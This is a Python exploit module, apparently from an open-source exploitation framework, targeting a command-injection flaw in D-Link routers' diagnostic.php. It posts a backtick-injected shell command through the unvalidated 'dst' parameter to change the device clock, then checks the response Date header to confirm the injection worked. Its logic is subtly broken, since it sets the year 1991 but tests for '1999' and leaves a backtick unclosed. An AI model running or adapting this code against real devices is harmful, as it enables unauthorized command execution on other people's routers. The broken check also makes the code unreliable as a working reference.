#!/usr/bin/python
# -*-  coding: utf-8 -*-

##
# Current source: https://github.com/open-security/vulnpwn/
##

from lib.core import exploit
import requests


class Module(exploit.Exploit):

    __info__ = {
        'name': 'Multiple Vulnerabilities in D-Link devices',
        'author': ['Open-Security'],
        'description': """
            The vulnerability is caused by missing input validation in the dst
            parameter and missing session validation and can be exploited to
            inject and execute arbitrary shell commands.
        """,
        'references': ['http://www.s3cur1ty.de/m1adv2013-017'],
        'license': 'APACHE_LICENSE',
        'disclosureDate': 'May 07 2013',
        'options': {
            'RHOST': ['192.168.1.1', 'the target host'],
            'RPORT': [80, 'the target port'],
            'TARGETURI': ['/diagnostic.php', 'target uri to request']
        }
    }

    def __init__(self):
        exploit.Exploit.__init__(self)

    def check(self):
        cmd = 'act=ping&dst=`date -us "1991-11-11 11:11:11"'
        uri = 'http://{}:{}{}'.format(
            self.rhost, self.rport, self.get_option_value('TARGETURI'))

        self.output('Exploiting - {}'.format(uri))
        headers = {'User-Agent': 'Mozilla/5.0 Gecko/20100101 Firefox/24.0',
                   'Content-Type': 'application/x-www-form-urlencoded'}
        sess = requests.Session()
        resp = sess.post(uri, headers=headers, data=cmd)
        if resp and resp.status_code == 200 and resp.headers and resp.headers.get('Date', None):
            date = resp.headers['Date']
            if '11 Nov 1999 11' in date:
                self.output('Target is vulnable')

    def main(self, *args, **kwargs):
        self.check()
